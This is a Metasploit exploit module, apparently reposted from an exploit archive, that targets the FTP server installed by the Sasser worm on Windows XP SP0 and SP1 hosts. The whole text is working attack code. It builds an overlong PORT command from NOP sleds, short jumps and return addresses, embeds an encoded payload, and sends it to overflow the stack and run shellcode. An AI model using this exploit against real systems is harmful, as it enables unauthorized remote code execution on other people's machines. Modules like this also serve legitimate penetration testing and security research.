Sasser Worm avserve – FTP PORT Buffer Overflow (Metasploit)
## # $Id: sasser_ftpd_port.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'Sasser Worm avserve FTP PORT Buffer Overflow', 'Description' => %q{ This module exploits the FTP server component of the Sasser worm. By sending an overly long PORT command the stack can be overwritten. }, 'Author' => [ 'valsmith [at] metasploit.com>', 'chamuco [at] gmail.com>', 'patrick' ], 'Arch' => [ ARCH_X86 ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9179 $', 'References' => [ [ 'OSVDB', '6197'], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Platform' => ['win'], 'Privileged' => false, 'Payload' => { 'Space' => 480, 'BadChars' => "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e", 'StackAdjustment' => -3500, }, 'Targets' => [ [ 'Windows XP SP0', { 'Ret' => 0x71aa32ad } ], #p/p/r ws2help.dll [ 'Windows XP SP1', { 'Ret' => 0x77e7633a } ], #p/p/r ], 'DisclosureDate' => 'May 10 2004', 'DefaultTarget' => 1)) register_options( [ Opt::RPORT(5554), ], self.class) end def exploit connect print_status("Trying target #{target.name}...") sploit = make_nops(267) + Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target['Ret']].pack('V') sploit << Rex::Arch::X86.jmp(0xfffffc13) + make_nops(15) + payload.encoded + make_nops(1530) send_cmd( ['PORT', sploit] , false) handler disconnect end end |